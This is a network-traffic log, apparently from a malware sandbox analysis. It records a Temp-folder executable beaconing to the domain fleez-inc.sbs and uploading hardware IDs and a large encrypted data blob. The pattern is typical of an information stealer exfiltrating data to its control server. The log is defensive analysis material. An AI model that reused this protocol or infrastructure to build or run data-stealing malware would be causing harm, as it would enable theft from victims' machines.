Data Ascii: --IYMKKEJXLH1T1H9Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--IYMKKEJXLH1T1H9Content-Disposition: form-data; name="pid"3--IYMKKEJXLH1T1H9Content-Disposition: form-data; name="lid"LOGS11--public--IYMK
2024-11-12 20:22:18 UTC	5089	OUT	Data Raw: 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?lrQMn 64F6(X&7~`aO
2024-11-12 20:22:19 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h0b9ru9062464ds5u877juq0u7; expires=Sat, 08-Mar-2025 14:08:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=njsqCFW89S0Fa4FT3lwIqYaYpy2RW99DwdzW2RaPoN7E4cN62bNGOKQXcILLXQjh9%2BnsqsJmyEZLwic%2Fljah%2Fa6ACWnJw526Nqw0OjnAlAkbZSh%2FYiLyqws58kPexI5o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bbf1a0f51fb-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18838&sent=14&recv=28&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21376&delivery_rate=153788&cwnd=32&unsent_bytes=0&cid=816a95eca3901fc3&ts=1188&x=0"
2024-11-12 20:22:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49816	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:21 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G5B1UF68 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1215 Host: fleez-inc.sbs
2024-11-12 20:22:21 UTC	1215	OUT	Data Raw: 2d 2d 47 35 42 31 55 46 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 47 35 42 31 55 46 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 35 42 31 55 46 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 47 35 42 31 55 46 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --G5B1UF68Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--G5B1UF68Content-Disposition: form-data; name="pid"1--G5B1UF68Content-Disposition: form-data; name="lid"LOGS11--public--G5B1UF68Content-Disposi
2024-11-12 20:22:21 UTC	1006	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o099qs8sejq8fu6juri87lf18j; expires=Sat, 08-Mar-2025 14:09:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WZkKX6ies7tokR0MnX4ZS79rXrB73scfw72ARJx%2BK7DrVktYjpSMErlaBmeysrmJxiAi08TrRt8KhfLwVEA%2BT1%2FFfh8H%2B2GcmkoZichnSJfECjBte6ielJFJTNkiemMG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bce5a504744-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1781&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2119&delivery_rate=1619686&cwnd=251&unsent_bytes=0&cid=d254f7349935bd36&ts=516&x=0"
2024-11-12 20:22:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49819	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:22 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YYTBWB57WFNR6D0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 548774 Host: fleez-inc.sbs
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 2d 2d 59 59 54 42 57 42 35 37 57 46 4e 52 36 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 59 59 54 42 57 42 35 37 57 46 4e 52 36 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 59 54 42 57 42 35 37 57 46 4e 52 36 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 59 59 54 42 Data Ascii: --YYTBWB57WFNR6D0Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--YYTBWB57WFNR6D0Content-Disposition: form-data; name="pid"1--YYTBWB57WFNR6D0Content-Disposition: form-data; name="lid"LOGS11--public--YYTB
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 1b b5 22 e3 c5 f0 43 5f 75 40 c4 68 da 5a 4e 57 af 68 d3 69 91 d2 2d bf 55 d2 50 82 7f 3f 3b 44 9e 65 d2 fe 81 be f5 8f d3 e8 aa fd b0 11 99 91 89 28 c5 e5 83 d3 79 4b c0 7f 17 4d 13 1b c4 0f a6 7a d1 ac 8d 00 4a f8 a1 78 ce 55 3d 44 76 d5 c5 96 3f 51 4b db ac 0f 6b 35 db 28 fc b5 f0 36 f9 20 3a 01 b5 f9 6e 5b ca 49 06 81 ec c1 7e fc c4 f2 98 b6 f1 12 64 d2 8a 04 4f 91 55 63 8e 02 fa dc ec 51 62 51 12 e2 13 d3 1b 0f 31 cd 27 eb 37 b4 93 be 73 d4 b2 2b a3 43 52 21 0b 3c 59 3e 32 1a 9e 46 1d bd 6d 51 b9 a1 82 a2 96 82 e2 35 7a 5f cb aa 3a 12 e0 a7 62 09 b6 a0 c1 60 34 c0 71 f6 8b ff 9f 8a 64 f9 18 5d 74 eb 27 f0 e3 63 58 b4 bf 0a 9b 5c 8a b6 58 6a d6 c1 03 a8 d3 6a be 4a 94 98 6a 6e df f2 35 33 53 32 7a cf 8e 76 42 91 3f 57 84 e9 a2 45 a6 d4 44 1a 62 23 12 Data Ascii: "C_u@hZNWhi-UP?;De(yKMzJxU=Dv?QKk5(6 :n[I~dOUcQbQ1'7s+CR!<Y>2FmQ5z_:b`4qd]t'cX\XjjJjn53S2zvB?WEDb#
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 06 4a b3 63 15 e1 70 49 90 fe ab f1 c7 db 85 2c 58 a3 ec 40 7e 16 1c 35 d0 6a 85 ae 44 64 8e c5 11 71 75 a4 31 e1 5f 55 e1 a2 d1 d8 b8 a8 83 6a de 56 76 d1 39 5e 7b 3a 4d 67 90 6b 43 c6 93 6a 61 7a e6 08 46 53 ba 55 3d c7 e8 da b6 f3 d2 97 3b 26 9d 34 60 ed b3 54 22 28 12 7b 8f 16 88 02 6d a0 fa 3c 3c 4c 75 83 4a 50 04 24 b1 57 24 74 3b cc 1c 7a 6f 47 30 3e 97 e8 0f 2f a6 7c 0e 4e 74 bc ff 92 5d fa fe e3 8c db db 85 57 72 9b c6 03 8f 07 97 f8 a9 e5 37 a9 b4 4f 8c 42 fe d2 dd d3 fe 1e fb 04 50 21 b2 54 63 fa 56 83 bb dd 19 45 10 5a 92 15 9c 14 7a 40 af 90 37 f6 48 f7 fd b4 a8 4a 64 44 34 9d 1f c4 5f 1c ad 52 81 da 1a 0a b1 41 c1 5e 13 d8 75 7f bd 33 c9 89 26 62 ca c8 60 f3 63 de 51 91 c9 6f a6 26 e0 ce 48 0a 4a 7e 89 7e 3f 87 80 ca e9 a5 69 72 be 36 73 5c Data Ascii: JcpI,X@~5jDdqu1_UjVv9^{:MgkCjazFSU=;&4`T"({m<<LuJP$W$t;zoG0>/\|Nt]Wr7OBP!TcVEZz@7HJdD4_RA^u3&b`cQo&HJ~~?ir6s\
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 91 17 13 1f 8a 30 dd 62 b1 78 70 3f 6c b1 c2 f6 98 96 84 0d 34 bc ec 64 40 52 fb b1 50 0c 24 fe 33 83 df 8b 14 74 f8 33 cc 54 6b 1c de c9 72 f5 30 7d 5f ff aa cb f8 ef ac c1 ca 7e dc 42 ba a7 0c 78 db 86 1a c0 83 da 59 89 5b a8 b1 35 4d 2c 7c b0 e2 1e 60 94 46 c9 33 89 88 56 b6 22 27 60 71 69 e1 15 43 18 56 cc 48 0d 0f 14 cf 63 2a b9 fa 4a 24 f9 81 33 8a dc 82 9f 19 74 fb 6c 3b 54 95 d4 b0 73 53 76 92 41 b0 da b2 47 69 83 50 f7 cf ff 2c 2b 4b 9f 78 60 c2 fe 45 d0 f5 67 c4 f7 d2 c1 ac 1a 88 83 c4 e7 f7 23 93 bf b0 27 1e a1 c8 b9 46 95 c1 87 96 a6 7a 2f bb bc bd f8 bc a0 8c f7 f3 9d cb 57 4b 62 0c d9 f1 8f 29 b2 ed a2 f7 95 c6 b9 de 4e b7 1a 93 c9 c6 da 58 88 e3 e9 1d 5b 86 92 f9 bc 55 da e2 36 a3 1b 6f 6a ac 81 0a 3a 29 69 d1 a8 e0 06 84 51 ae 57 89 11 3a Data Ascii: 0bxp?l4d@RP$3t3Tkr0}_~BxY[5M,\|`F3V"'`qiCVHc*J$3tl;TsSvAGiP,+Kx`Eg#'Fz/WKb)NX[U6oj:)iQW:
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 8e 2a da 69 db d9 87 29 09 d8 51 5d f4 1e 65 09 20 fb 6b ba 53 3b fc cc d9 f8 08 99 b3 b8 dc f8 ee 02 67 bd 80 28 91 56 17 41 69 03 52 98 16 17 35 6b 7c af 74 90 da b3 b0 53 23 1f 7e 71 33 07 46 ab b0 a1 09 cc 7a f5 a9 ca c3 27 74 03 de 4b a4 7f ee d2 de c7 b5 77 de 48 0a ff a2 3a 85 53 f2 d5 71 91 ef da 51 c9 65 c8 fb 8b f4 60 a4 62 b7 c2 15 37 e8 88 f0 fd 83 2e 2e db df 1f 59 39 14 fa 70 0d 56 6a b3 8a 80 a9 63 d8 7d d6 c7 95 28 a2 4d b7 a7 6f ca bc 86 b4 e7 e5 7a d6 67 8d d6 bb f3 ad 71 35 df 7b 3d 06 42 47 8b 24 b5 d3 e4 d1 b4 c2 f3 e5 5b 17 e2 b4 32 04 4a 63 6f 25 1d 9b 0b 6a 78 fa 6e 50 3a 2f e1 0c e1 4f 65 e3 ec be f1 8f e4 64 9a 75 56 cd 0d ce bf eb 19 c3 6f 3c 8e 1c 76 01 e4 5a 63 60 68 5c 5d 3c 22 28 82 1e fb c4 4e 2c ff e7 33 3c 79 c1 e1 b3 c2 Data Ascii: *i)Q]e kS;g(VAiR5k\|tS#~q3Fz'tKwH:SqQe`b7..Y9pVjc}(Mozgq5{=BG$[2Jco%jxnP:/OeduVo<vZc`h\]<"(N,3<y
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 8c e5 1a 5c 3f 71 e7 4c 20 d7 d9 7d b4 32 48 68 9a df c8 50 86 c3 1f 61 ac 85 56 e7 0a 14 9f d9 2f ba 7b bd 23 98 17 1a 16 fe ad eb 10 2e 0e 8c a9 a8 b2 ca b3 18 b8 c2 16 e1 21 c4 ac aa a7 13 37 de 5e 90 18 9a 77 88 b8 6d 06 d1 42 8b f3 8c ec 51 c6 3b 55 c1 1d 57 08 85 e9 1a fa d4 92 76 79 03 f7 2c 5c 51 bf f5 fe b0 7c 1f 6c 8e 69 db df 59 27 3d 18 06 82 a8 2c 6f c1 6e 82 e8 59 82 45 b6 82 cc 9d 8d 43 99 97 66 8b c4 04 e6 36 4a 6f f0 70 52 7d d4 b8 82 a8 5c 17 d7 cd 2f 80 1c 1f d4 ea 53 82 e0 25 cf 27 80 c0 7c da e0 0c ca 3a 87 1b 0d 40 d9 53 65 5e 48 fb 84 5c 30 1c e4 0e 35 94 89 47 11 e6 ae 7e 25 fd b0 50 4f bd 13 1d 2b 60 fa 1a 10 86 da 94 0b 38 e7 79 16 c1 b8 f1 29 c7 98 88 29 01 64 5a 57 59 ee cb 7c 9c 48 60 c5 8c 71 ae b1 24 bd 1d 65 36 b0 eb 1d 76 Data Ascii: \?qL }2HhPaV/{#.!7^wmBQ;UWvy,\Q\|liY'=,onYECf6JopR}\/S%'\|:@Se^H\05G~%PO+`8y))dZWY\|H`q$e6v
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: c3 8f b7 17 9f bc bd 12 a5 14 be 53 3d 37 8c 9b 3e 90 3d 28 65 c8 fc 2b 6f 26 c8 ec 91 7e 6e 17 3d 47 bc 9b 12 b9 61 9d 6f fa d6 ee 2a 44 b3 c0 75 3f 85 18 b4 d8 9e dd 7e 2c 7f d5 17 ef ca fd 6c c0 0d 56 a9 f1 02 5f 38 70 94 60 1b 87 fb 33 13 18 12 9d fc 72 5c ff af 51 a7 8c 38 08 9d 6c bc f8 50 e7 c2 b9 25 7f ac f2 b6 e5 6f 99 d8 3f 45 66 a8 55 b1 57 fe 13 c8 77 26 42 2e 7b 3f fc ba e0 b2 b7 e9 a8 50 25 2f 9c 8b 53 39 ea 66 88 3c e9 f8 67 84 24 c0 b5 10 6c a7 03 49 6b cf 7f c1 37 9e ca 4c 17 30 e6 65 16 0f fd 9e e2 39 a4 d3 91 8c 08 91 60 cb a6 7b f8 fd bf f9 69 37 76 6f 8a 53 47 78 ba ad b5 7e 42 84 c9 ae ec c3 e7 4b 40 77 ce 3f 79 2e d9 b3 f2 51 06 70 d8 2a de a5 04 a4 dd 9f 38 23 43 dc e1 14 d7 30 51 20 cc 3c 1b f6 bf c6 08 3a ff ee e1 af bc ef d2 12 Data Ascii: S=7>=(e+o&~n=GaoDu?~,lV_8p`3r\Q8lP%o?EfUWw&B.{?P%/S9f<g$lIk7L0e9`{i7voSGx~BK@w?y.Qp8#C0Q <:
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 62 ec 75 4c 62 fb 42 4b 74 c0 4c 01 cd 77 80 a2 79 6b 6a 71 a4 90 ad 3d 21 e7 27 50 9a b2 ec 62 82 d7 43 71 2f 49 08 f5 49 f8 f9 81 68 c6 02 4c a7 28 93 93 43 ef 25 21 be 23 db 37 c9 c1 29 04 a6 d8 14 7a 2a 05 77 37 05 5f 03 fc b9 d2 04 4b 53 6d ac bf 18 c6 68 76 c3 f1 96 b2 a4 f7 9b 76 d7 61 83 13 29 0f 95 6c 1c 62 82 0e 63 bb 0a 2e c7 ba e5 25 56 6d ef 9e 58 76 fc 81 b4 37 9c 7d ec 27 6f 85 bb 25 4e 40 c4 dc 99 72 c1 e3 2e e8 3c 68 0b d3 5d 4d fd 4a 51 dd e9 6e 2f 29 fe f4 84 1c e6 65 77 e2 60 61 44 12 d7 5b 53 0e f5 57 6a 12 13 7e d3 c4 ba cf 0a 31 82 f9 8f 0d 35 1b c6 45 dc dd 4e 5c b9 5c d8 56 1d ad ca ec be e8 52 5b b2 0a 29 3c 8e 35 43 e5 dd 59 e8 3b ad 6a 2f 4b ec 53 48 34 4c 46 da 09 36 28 78 e0 dd 79 a7 30 be 25 4a fd 66 f4 6c b1 48 f0 0d 5a 38 Data Ascii: buLbBKtLwykjq=!'PbCq/IIhL(C%!#7)z*w7_KSmhvva)lbc.%VmXv7}'o%N@r.<h]MJQn/)ew`aD[SWj~15EN\\VR[)<5CY;j/KSH4LF6(xy0%JflHZ8
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 6b f0 5f e1 25 14 f9 1d 7b a3 a6 e2 e9 f1 27 28 ad 88 fa 73 71 38 81 9e 17 eb 78 c0 53 17 77 bf d2 7f 3a 80 4a c2 16 89 d2 2c f7 20 8b e6 83 2c 13 e8 37 fd 70 80 38 5d 31 6a df 59 b5 c6 77 77 33 e2 6b 75 94 14 33 78 fe 78 77 60 a2 1d 20 eb 21 c4 11 bf a4 c3 1f 49 44 8b 35 9b c9 2c ac 4b 4d 44 e7 e0 89 f8 df 67 49 f7 d8 8e 01 19 c5 48 b5 11 65 f5 6d 17 3e 9e 18 62 6c 6d a9 39 b7 5f 4b 3b 32 0c 15 1c d8 60 dc cd c7 af 14 41 72 ae d3 3f 5b a7 bb 7d 39 47 83 be 96 2b 54 e3 7f 29 23 4d c3 09 af 69 86 5f 18 17 fb 58 08 fc ee 67 cc 8a f3 9b de 28 51 0c 4f 33 33 49 0c 1b af 7a 6c 11 b1 9a 4b 78 30 b8 ad af ce af 0b db 85 1a 52 b0 c1 13 e3 19 f8 5a e3 70 c5 15 22 4c ca 85 04 4f ca c8 16 1f 54 4a 91 cf 6e 35 15 e0 e3 5b de bb ab c5 7e b7 7c 94 ba 44 c7 32 45 a5 45 Data Ascii: k_%{'(sq8xSw:J, ,7p8]1jYww3ku3xxw` !ID5,KMDgIHem>blm9_K;2`Ar?[}9G+T)#Mi_Xg(QO33IzlKx0RZp"LOTJn5[~\|D2EE
2024-11-12 20:22:22 UTC	15331	OUT	Data Raw: 91 56 91 6d 40 70 b2 20 5a 8f 86 b9 26 67 5f a0 7c 99 9a 89 a5 59 7d 78 12 4e c5 3c 3f b0 ad 14 99 34 4d 35 bf bb c1 79 6e b4 2b e4 df 4b 78 a4 ee 18 31 41 b3 e6 98 c3 35 96 47 db fe 2f 66 55 4a 3e 50 35 86 b0 7c 6d 0b 98 fe 78 e0 42 19 a0 bf bf aa 0e 0a 18 3d bd e6 80 d2 fb 4f fc 7e 77 75 56 e1 71 fa 7b 40 16 60 19 a0 c3 fc 5b 29 3f 8f 92 a3 43 67 60 ca 5b e3 52 5e f5 87 b3 97 80 8e 1f 8c cd d9 33 15 9f 47 f2 04 c2 53 98 cd 63 9d 82 52 bb c0 cb b7 8a 4b dc 15 c1 df e5 9f d6 f1 08 76 21 20 e4 91 04 a0 a2 7d f6 90 e2 8b 2a 7e f6 5e 44 ca 9d 35 51 d4 79 c5 59 b2 4a fd 1d e3 94 9c 8c f7 92 85 eb 46 9d 85 20 21 23 9e 18 cf 8c ff 9d 96 b7 05 4c e6 92 cb 56 4f 19 ac c4 0b 93 73 e3 c3 58 2b 90 e8 2d 7d d8 17 b7 66 6c c0 22 f6 21 ff 42 82 fb 3f 07 fb 88 70 2e d2 Data Ascii: Vm@p Z&g_\|Y}xN<?4M5yn+Kx1A5G/fUJ>P5\|mxB=O~wuVq{@`[)?Cg`[R^3GScRKv! }*~^D5QyYJF !#LVOsX+-}fl"!B?p.
2024-11-12 20:22:27 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tajhlq0r3oj6d7n9jmv6123r48; expires=Sat, 08-Mar-2025 14:09:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fWA3%2FadEdA3d4fj7XAEK5qCqkjgwvDvOiA%2FKE31baxKiqjMjDB2%2B123xFjUOigDd1yQZg66VEV0LAIdx%2BbZCTnyiLwyaoVEitbee8YzrR0y%2BaJAwQFlK5GKD8hyYMwYU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bd9b99ce76b-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19014&sent=289&recv=603&lost=0&retrans=0&sent_bytes=2831&recv_bytes=551249&delivery_rate=151973&cwnd=32&unsent_bytes=0&cid=15d4e38ac8baf803&ts=4887&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49820	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:25 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fleez-inc.sbs
2024-11-12 20:22:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-12 20:22:26 UTC	1004	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5e0ig3u9v4ako57m3kmrv8abe8; expires=Sat, 08-Mar-2025 14:09:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j8R7UU%2FACgGYPSCNA5rA4rHh%2Fe7JFC%2FeCTetZtxjPjvB9iH87C1aGmD1uVosOrSr0LYtQMJnu0P88PhmkdQxBm7DlROWCxNDTJ9DZhhipPoPx272CZavoTU2fk0O17%2Fc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bebedab51dc-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18828&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=153617&cwnd=32&unsent_bytes=0&cid=ad2cd765dd26f010&ts=483&x=0"
2024-11-12 20:22:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-12 20:22:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49822	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:27 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: fleez-inc.sbs
2024-11-12 20:22:27 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--public&j=
2024-11-12 20:22:27 UTC	1007	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hnira8nnpdasopnb25ll4lagq4; expires=Sat, 08-Mar-2025 14:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WcHHlyVWfacBdSh%2FH36F8Fcsh%2FygcAMGoVPwMX49aWU8Ah8hniDtFbsjMHFCR%2B1i1l4dIU6nFPKlcIToOzPmmET30EImLWcuX6r0m9qnDB9amYJW%2BRWYMwkHiqI7%2BbxG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bf32e681449-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=945&delivery_rate=2188964&cwnd=249&unsent_bytes=0&cid=9250475a6aee74b2&ts=482&x=0"
2024-11-12 20:22:27 UTC	362	IN	Data Raw: 34 64 61 0d 0a 32 6a 76 70 63 74 61 64 55 61 4b 41 32 39 2f 38 6b 36 6b 7a 54 76 4d 64 48 63 68 69 44 6d 32 38 6d 6c 44 35 78 61 74 59 33 34 6d 68 47 5a 39 51 37 4b 6c 39 67 50 4f 2b 2f 63 62 6e 32 30 59 72 33 7a 39 38 72 45 41 30 43 39 33 32 49 35 7a 70 69 53 36 79 71 2b 42 64 69 42 36 6c 2b 48 32 41 35 61 50 39 78 73 6a 53 45 53 75 64 50 79 66 71 42 32 51 50 33 66 59 79 6d 4b 37 45 4b 4c 50 71 73 6c 65 4f 47 72 50 2b 4e 63 50 73 74 72 71 5a 39 73 68 5a 49 4a 70 77 64 61 56 41 49 6b 2f 5a 34 48 4c 44 35 2b 59 39 71 2b 69 58 57 70 6f 5a 39 4f 42 39 32 61 4b 2b 73 64 36 70 69 31 49 72 6b 58 46 37 72 41 6c 6d 42 64 54 2b 4d 35 32 76 32 7a 47 35 34 62 4a 5a 6a 52 75 35 39 79 48 4f 35 72 47 78 6e 2f 7a 49 45 57 4c 52 65 47 66 71 57 43 78 63 37 50 73 6a 69 72 Data Ascii: 